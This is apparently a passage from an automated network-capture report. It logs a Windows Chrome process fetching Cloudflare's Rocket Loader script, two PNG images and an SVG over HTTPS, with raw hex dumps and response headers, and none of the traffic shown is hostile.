2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 52 29 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 54 29 3b 72 65 74 75 72 6e 7b 6e 6f 6e 63 65 3a 6e 5b 30 5d 2c 68 61 6e 64 6c 65 72 50 72 65 66 69 78 4c 65 6e 67 74 68 3a 2b 6e 5b 31 5d 2c 62 61 69 6c 6f 75 74 3a 21 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 65 66 65 72 22 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 29 7b 76 61 72 20 65 3d 42 2b 74 2e 6e 6f 6e 63 65 3b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 22 2b 65 2b 22 5d 22 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 65 29 2c 41 72 72 61 79 2e 70 72 6f 74 Data Ascii: R);if(!e)return null;var n=e.split(T);return{nonce:n[0],handlerPrefixLength:+n[1],bailout:!t.hasAttribute("defer")}}function g(t){var e=B+t.nonce;Array.prototype.forEach.call(document.querySelectorAll("["+e+"]"),function(n){n.removeAttribute(e),Array.prot
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 31 2e 30 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 31 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 32 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 33 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 34 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 35 22 3a 21 30 2c 22 74 65 78 74 2f 6a 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 6c 69 76 65 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 65 63 6d 61 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 22 3a 21 30 2c 6d 6f 64 75 6c 65 3a 21 30 7d 2c 6b 3d 76 6f 69 64 20 30 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 Data Ascii: 1.0":!0,"text/javascript1.1":!0,"text/javascript1.2":!0,"text/javascript1.3":!0,"text/javascript1.4":!0,"text/javascript1.5":!0,"text/jscript":!0,"text/livescript":!0,"text/x-ecmascript":!0,"text/x-javascript":!0,module:!0},k=void 0!==document.createEleme
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 6e 6f 6e 63 65 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 2e 74 79 70 65 2e 73 75 62 73 74 72 28 74 68 69 73 2e 6e 6f 6e 63 65 2e 6c 65 6e 67 74 68 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 6b 65 4e 6f 6e 45 78 65 63 75 74 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 68 69 73 2e 6e 6f 6e 63 65 2b 74 2e 74 79 70 65 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 65 6e 64 Data Ascii: prototype.hasNonce=function(t){return 0===(t.getAttribute("type")\|\|"").indexOf(this.nonce)},t.prototype.removeNonce=function(t){t.type=t.type.substr(this.nonce.length)},t.prototype.makeNonExecutable=function(t){t.type=this.nonce+t.type},t.prototype.isPend
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 72 3d 74 2c 74 68 69 73 2e 62 75 66 66 65 72 3d 22 22 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 2e 77 72 69 74 65 28 74 2c 21 31 29 7d 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 Data Ascii: ototype.enable=function(t){var e=this;this.insertionPointMarker=t,this.buffer="",document.write=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return e.write(t,!1)},document.writeln=function(){for(var t=[],n=0;n<arguments.length;n++)
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 74 79 70 65 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 6e 26 26 69 28 6e 29 26 26 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 3f 28 72 3d 65 3f 5f 3a 4c 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 72 2c 5b 64 6f 63 75 6d 65 6e 74 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3a 74 68 69 73 2e 62 75 66 66 65 72 2b 3d 74 2e 6d 61 70 28 53 74 72 69 6e 67 29 2e 6a 6f 69 6e 28 65 3f 22 5c 6e 22 3a 22 22 29 3b 76 61 72 20 72 7d 2c 74 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 69 6d 75 6c 61 74 65 64 52 65 61 64 79 53 74 61 74 65 3d 22 6c 6f 61 64 69 Data Ascii: type.write=function(t,e){var n=document.currentScript;n&&i(n)&&n.hasAttribute("async")?(r=e?_:L).call.apply(r,[document].concat(t)):this.buffer+=t.map(String).join(e?"\n":"");var r},t}(),j=function(){function t(){var t=this;this.simulatedReadyState="loadi
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6e 74 73 49 6e 50 72 6f 78 69 65 73 3d 21 30 7d 2c 30 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 50 72 6f 78 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 45 76 65 6e 74 54 61 72 67 65 74 3f 5b 45 76 65 6e 74 54 61 72 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 5d 3a 5b 4e 6f 64 65 2e 70 72 6f 74 6f 74 79 70 65 2c 57 69 6e 64 6f 77 2e 70 72 6f 74 6f 74 79 70 65 5d 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 68 6f 64 73 28 65 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 Data Ascii: ntsInProxies=!0},0)},t.prototype.setupEventListenerProxy=function(){var t=this;("undefined"!=typeof EventTarget?[EventTarget.prototype]:[Node.prototype,Window.prototype]).forEach(function(e){return t.patchEventTargetMethods(e)})},t.prototype.patchEventTar
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 69 6d 75 6c 61 74 6f 72 22 2c 7b 76 61 6c 75 65 3a 6e 65 77 20 6a 7d 29 2c 74 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 4c 6f 61 64 50 72 6f 67 72 65 73 73 53 69 6d 75 6c 61 74 6f 72 7d 28 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 3d 74 2c 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 65 2c 74 68 69 73 2e 70 72 65 6c 6f 61 64 48 69 6e 74 73 3d 5b 5d 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 73 65 72 74 50 72 65 6c 6f 61 64 48 69 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 61 28 65 2c Data Ascii: imulator",{value:new j}),t.__rocketLoaderLoadProgressSimulator}(),W=function(){function t(t,e){this.scriptStack=t,this.settings=e,this.preloadHints=[]}return t.prototype.insertPreloadHints=function(){var t=this;this.scriptStack.forEach(function(e){if(a(e,
2024-10-18 13:48:03 UTC	773	IN	Data Raw: 69 76 61 74 65 53 63 72 69 70 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 2e 73 63 72 69 70 74 2c 72 3d 74 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 6f 3d 74 2e 65 78 74 65 72 6e 61 6c 2c 69 3d 74 2e 61 73 79 6e 63 2c 61 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 63 6f 6e 74 61 69 6e 73 28 72 29 29 72 65 74 75 72 6e 20 65 28 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 73 63 72 69 70 74 20 5c 6e 22 2b 6e 2e 6f 75 74 65 72 48 54 4d 4c 2b 22 5c 6e 20 77 61 73 20 64 65 74 61 63 68 65 64 20 66 72 6f 6d 20 64 6f 63 75 6d 65 6e 74 2e 22 2c 22 53 63 72 69 70 74 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 65 78 65 63 75 74 65 64 2e 22 29 2c 6e 75 6c 6c 3b 76 61 72 20 63 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 Data Ascii: ivateScript=function(t){var n=t.script,r=t.placeholder,o=t.external,i=t.async,a=r.parentNode;if(!document.contains(r))return e("Placeholder for script \n"+n.outerHTML+"\n was detached from document.","Script will not be executed."),null;var c=this.setting

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	50716	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	621	OUT	GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	792	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: image/png Content-Length: 3908 Connection: close CF-Ray: 8d48fbdb1d093594-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 306219 Cache-Control: max-age=604800 ETag: "f4eb2a2f745f8799e3e6f6478ab2305d" Last-Modified: Wed, 21 Aug 2024 18:12:19 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SkCaXncr89MeZ9tvJWNAqgXO%2FRr%2BjnApTs1yqrrlmAAx%2FDPaoo4PXBjohkgbQdJGQxNciNsIIBiYE3e1KSacQpL9HmNZhtRnN0Y7eUOJ3YLoEwPTivvMtPUfZmXvl%2FSvwK%2BFGrvV3dJnR7m9Rss%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	577	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 37 00 00 00 ae 08 03 00 00 00 64 e2 ba 3f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 6d 50 4c 54 45 fc b3 2f 00 00 00 ff af 40 ff af 30 ff 9f 30 ff b7 30 ff a7 38 f7 a7 30 fb b3 30 ff a7 34 fb a3 2c ff a9 35 ff a8 35 ff a6 34 fb b3 30 fd a6 33 fb a3 2c fc b5 30 ff a7 35 fd a8 35 fa a4 2d fd b4 2f fe a8 34 fe a6 35 fe a5 34 fb a5 2c fd b4 30 fe a7 33 fa a5 2d fc b4 2f fc b3 2e fb b3 2f fb b3 2e fc b2 2f fc b2 2e fc b2 2d fb b2 2f fb b2 2e fc b1 2f fc b1 2e fc b1 2d fb b1 2e fb b1 2d fc b0 2f fc b0 2d fb b0 2e fb b0 2d fc af 2f fc af 2e fc af 2d fa b0 2d fb af 2f fb af 2e fb af 2d fc ae 2f fc ae 2e fa af 2e fa af 2d fb ae 2f fb ae 2e fb ae 2d fc ad Data Ascii: PNGIHDR7d?sRGBgAMAamPLTE/@0008004,55403,055-/454,03-/././.-/./.-.-/-.-/.--/.-/..-/.-
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: fd 9f 30 fe 9e 32 fd 9e 32 fe 9d 33 fd 9e 30 fe 9d 32 fd 9d 32 fd 9d 31 fe 9c 33 fd 9d 30 fe 9c 32 fd 9c 32 fd 9c 31 fe 9b 33 fd 9c 30 fe 9b 32 fd 9b 32 fd 9b 31 fe 9a 33 fd 9b 30 fe 9a 32 fd 9a 32 fd 9a 31 fd 9a 30 fe 99 32 fd 99 32 fd 99 31 fd 99 30 fe 98 32 fe 98 31 fd 98 31 fd 98 30 fd 97 31 fd 97 30 fd 96 31 fd 95 31 fd 94 31 fd 93 31 e8 00 d7 4f 00 00 00 1d 74 52 4e 53 ff 00 10 10 10 20 20 20 40 40 40 8f 8f 8f 90 90 90 9f 9f 9f a0 cf cf cf cf cf df df df 07 60 5f 3e 00 00 0c 4c 49 44 41 54 78 da dc 9a cd 6e db 46 14 85 ef 25 ef 28 33 94 2c 19 2e 0a e4 8d ba e8 da bb be 42 1e 20 db a2 cb 6e f3 16 5d f4 07 30 0a 18 5e b8 81 eb a7 e9 aa b6 49 78 18 bb 00 03 84 b0 a7 f4 d1 f8 48 23 29 17 81 11 dc 0c 05 f2 f3 39 67 2e 47 51 15 11 5f af be 93 e9 9a 0b ac Data Ascii: 02230221302213022130221022102110101111OtRNS @@@`_>LIDATxnF%(3,.B n]0^IxH#)9g.GQ_
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 98 6f 44 fc 46 2c b2 fc 99 8e f1 a5 f9 95 f3 95 6e 85 18 da 17 f0 fd f1 49 16 f9 24 4b 45 b6 34 9d 10 19 e9 cb a4 a9 57 e8 06 c9 28 2b f3 95 c3 49 86 2d 59 64 43 e9 15 3f 16 49 24 7c c9 9e d3 99 bc ad 6a dd 8e 2f 93 ee 58 46 0c df 98 18 76 2b 65 cc 65 78 63 2a 85 91 8d 7a c3 76 29 14 65 31 43 65 ab 39 50 d9 e6 7c 99 56 0f f2 0d 28 4f b1 07 39 3c 69 cf 44 42 33 af ab 84 43 31 64 a3 de 08 64 59 82 e2 31 fa 66 69 95 96 f0 25 b8 a3 c4 a7 d8 ac ca d3 c1 c4 d2 a6 d9 6a 4e bc 2c 65 12 c3 ba ef 27 d6 80 f4 77 05 91 89 9c b8 a3 ba 64 94 e1 f8 d0 ab 0c 91 b1 5f 38 63 64 69 59 73 5c ab 62 38 94 2f 31 b1 b1 09 f2 0d 21 2b 31 aa 0d d6 dc 95 31 f3 f3 ad 07 47 d8 45 be 52 b5 6f 86 e3 d8 fd 22 86 e7 37 4d ba 85 be 53 1d 75 b6 c3 28 c3 4d 4b fb ba 43 62 03 33 53 a0 b2 32 Data Ascii: oDF,nI$KE4W(+I-YdC?I$\|j/XFv+eexc*zv)e1Ce9P\|V(O9<iDB3C1ddY1fi%jN,e'wd_8cdiYs\b8/1!+11GERo"7MSu(MKCb3S2
2024-10-18 13:48:03 UTC	593	IN	Data Raw: 9d 52 c6 d8 70 66 97 71 26 06 17 50 1b d4 78 5e ea 8d f1 e5 d4 e6 b9 5f 37 38 8f 9a a1 36 9e fb c4 95 c1 5e 7a 4c f9 f5 01 08 0d 48 63 a8 75 47 d8 71 65 98 ce 6f 56 6e 06 dc 98 35 09 b5 7b 7f 29 6e 38 73 31 c5 92 14 03 70 ab 96 44 c6 5e 2d d4 fa 16 83 95 cd c3 2a cc 52 30 39 10 42 79 67 87 d0 40 9d 50 86 60 af 59 99 36 a0 ee 0e a1 86 5a db 62 70 31 cb 72 36 a6 55 86 8a a0 16 b6 18 dc ce ce 91 21 6f 91 32 86 5a b1 bf 94 d5 df 66 19 e7 65 79 82 b0 56 f5 3e 2b b4 64 b3 c4 95 2c 43 b6 71 cd 8a e3 f9 99 3a a1 2d b5 18 56 5e ef 4e 1c 3c e0 78 58 65 f1 68 86 a7 00 6d 3d 2f 2d c2 c2 21 cd 80 02 22 b4 99 a7 1c 6f cd 77 18 1c 61 c0 44 84 bf 9e 50 97 31 86 f2 c6 5b 7f 8b dd d9 02 19 6a 23 d4 a6 8c a1 a6 f2 d2 26 b8 0b 0b 20 75 cb 43 9f 5d 54 48 c2 e5 ad 4e 65 0c d5 Data Ascii: Rpfq&Px^_786^zLHcuGqeoVn5{)n8s1pD^-*R09Byg@P`Y6Zbp1r6U!o2ZfeyV>+d,Cq:-V^N<xXehm=/-!"owaDP1[j#& uC]THNe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	50717	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	623	OUT	GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	794	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: image/png Content-Length: 3127 Connection: close CF-Ray: 8d48fbdb3ca82e25-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 154528 Cache-Control: max-age=604800 ETag: "a9df8b6f62f4aeb1b4699a2ae4b291bb" Last-Modified: Thu, 22 Aug 2024 13:46:01 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mW34%2FitDp0Ud20%2F6QHlVDz32BhsVToEeGw%2FSQ09RJvoaLcA5AFrgirZE5I9dQ%2FMibWsfE2h%2F9RoGmKRZhaMzNHIggCuyK7HQ7dUf%2BTuuApUR2uxicQZgKX7CSzLCfVczoJVMSGF0uYlKwPz7I5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	575	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 9a 00 00 00 57 08 03 00 00 00 93 3b 15 8e 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 6a 50 4c 54 45 fc b3 2f 00 00 00 ff af 40 ff af 30 ff 9f 30 ff b7 30 ff a7 38 f7 a7 30 fb b3 30 ff a7 34 fb a3 2c ff a8 35 ff a8 34 ff a6 34 fb b3 30 fd a6 33 fb a3 2c fc b5 30 fd a8 35 ff a5 35 fa a4 2d fd b4 2f fe a8 34 fe a6 35 fe a5 34 fb a5 2c fb a4 2c fd b4 30 fe a7 33 fe a6 33 fd a1 2f fc b4 2f fc b3 2e fb b3 2f fb b3 2e fc b2 2f fc b2 2e fc b2 2d fb b2 2f fb b2 2e fc b1 2f fc b1 2e fc b1 2d fb b1 2e fb b1 2d fc b0 2f fc b0 2d fb b0 2f fb b0 2e fb b0 2d fc af 2f fc af 2e fc af 2d fa b0 2d fb af 2f fb af 2e fb af 2d fc ae 2f fc ae 2e fa af 2e fa af 2d fb ae Data Ascii: PNGIHDRW;sRGBgAMAajPLTE/@0008004,54403,055-/454,,033//././.-/./.-.-/-/.-/.--/.-/..-
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 9e 32 fd 9e 32 fe 9d 33 fd 9e 30 fe 9d 32 fd 9d 32 fd 9d 31 fe 9c 33 fd 9d 30 fe 9c 32 fd 9c 32 fd 9c 31 fe 9b 33 fd 9c 30 fe 9b 32 fd 9b 32 fd 9b 31 fe 9a 33 fd 9b 30 fe 9a 32 fd 9a 32 fd 9a 31 fd 9a 30 fe 99 32 fd 99 32 fd 99 31 fd 99 30 fe 98 32 fd 98 32 fd 98 31 fd 98 30 fd 97 32 fd 97 31 fd 97 30 fd 96 31 fd 95 31 fd 94 31 fd 93 31 8f 7d 53 d0 00 00 00 1f 74 52 4e 53 ff 00 10 10 10 20 20 20 40 40 40 8f 8f 8f 90 90 90 9f 9f 9f a0 cf cf cf cf cf cf df df df df 8b e4 c3 90 00 00 09 40 49 44 41 54 78 da ec da bd 8e 13 31 14 05 e0 73 67 3c c9 64 d8 02 84 90 78 28 1a 2a 0a 3a 0a 5e 80 8a 0e 89 9a 92 1a 89 12 81 28 88 b4 42 14 5b f0 3c 74 30 3f b1 37 8b 34 1a 69 52 64 d7 d6 5e 3b c7 23 e5 d6 76 e2 8c bf 1c ff 24 22 00 ea e2 d1 33 a8 6b 8d a5 54 03 7f f1 3f Data Ascii: 22302213022130221302210221022102101111}StRNS @@@@IDATx1sg<dx(*:^(B[<t0?74iRd^;#v$"3kT?
2024-10-18 13:48:03 UTC	1183	IN	Data Raw: d2 af 57 83 46 cb d7 2e 0d ea 7c 82 d0 93 52 9c 7f b8 cd 9f 9a 21 6e 76 a7 35 5c 23 7c b5 51 65 91 b0 06 21 53 f7 9a 73 6e 35 f3 5c ad e6 1a 2e f9 6a 63 1d 4a 32 e4 60 42 79 7c 42 f7 50 d4 80 ae d1 f2 a8 23 aa c6 60 26 07 d3 ab fd be 9a 1e ca dc 6a 6a 78 4a 47 54 dd 0f 96 e5 20 9e 28 ea 43 69 f3 b9 16 a1 a5 01 15 3a 58 25 cc d0 8b e7 5a 0d f5 11 7f f2 3b 4d 2d 20 2d 34 a8 b4 20 44 95 74 5a 97 ff 6e 02 37 df 6a 64 4c cd f4 eb d5 02 5c 02 34 35 08 cb 0f c2 38 3d 04 7b cd 6c 12 86 68 90 c7 84 cc 14 84 05 38 98 5b c2 f4 da 9e 59 53 d3 33 01 77 b8 63 d3 bc d9 69 5d 1d 4a 32 2b 18 62 03 35 f3 7d f2 35 88 b4 d0 d4 5e 5c 54 0c a6 4b 98 92 9a 9e 19 70 8c 3d 1b da da 8b cf 3f 08 27 15 2f 58 b2 18 d4 87 b7 e8 55 0d 20 cf 46 a6 4b 58 83 f0 8d 87 92 38 36 a9 76 01 cb Data Ascii: WF.\|R!nv5\#\|Qe!Ssn5\.jcJ2`By\|BP#`&jjxJGT (Ci:X%Z;M- -4 DtZn7jdL\458={lh8[YS3wci]J2+b5}5^\TKp=?'/XU FKX86v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	50715	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	552	OUT	GET /img/privacyoptions.svg HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	949	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"5a8d3dae7c1ddd64826cea94a93139d4" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7rV%2BINKepM8tDzJHNw%2BuPGR7hq0RuOH68LyKVPL4VL3OefjDq4KwcWep%2FsaWe1TI2Em2fcmmUJKQMPJgzTCwmkq4ySW2uS%2FzpwFZSh246nrqGQNHcFc7%2FYv0ZPf6gzuRSdI4Ig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbdb38466b51-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	420	IN	Data Raw: 37 30 31 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 Data Ascii: 701<?xml version="1.0" encoding="utf-8"?>... Generator: 